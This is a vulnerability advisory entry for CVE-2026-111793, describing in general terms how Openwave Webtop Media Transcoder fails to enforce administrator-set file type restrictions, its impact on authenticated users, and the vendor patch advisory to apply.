CVE-2026-111793

MEDIUM CISA KEV Pub 16/10 Upd 11/11

Overview

This vulnerability is a failure to enforce administrator-defined file type restrictions within the Openwave Webtop Media Transcoder component. The root cause lies in the lack of validation controls that restrict which document types can be processed and converted by the transcoder. The affected feature is the file type filtering mechanism in the media transcoding functionality of the Webtop product.

Vulnerability Description

Openwave Webtop Media Transcoder does not enforce administrator-defined file type restrictions to restrict the file-types to be converted. This may allow an authenticated user to process and convert unintended document types if bypassing the Webmail experience.

Impact

An attacker with a valid user account can exploit this vulnerability to process and convert unauthorized document types, potentially enabling the handling of malicious or sensitive files outside intended policy. This can facilitate data exposure or manipulation through unintended file conversions. The prerequisite is possession of authenticated access to the Webtop environment. Business consequences include unauthorized data processing that may undermine data governance and content security controls within the messaging platform.

Solution

According to the vendor’s security advisory available at https://github.com/GISOpenwave/security-advisories-public/blob/main/CAN-2026-2032674.md, users of Openwave Webtop Media Transcoder should apply the updates specified in advisory CAN-2026-2032674. The advisory provides patched versions that enforce strict file type restrictions as configured by administrators. Administrators are advised to review and apply these patches promptly to ensure proper validation of file types during transcoding operations.
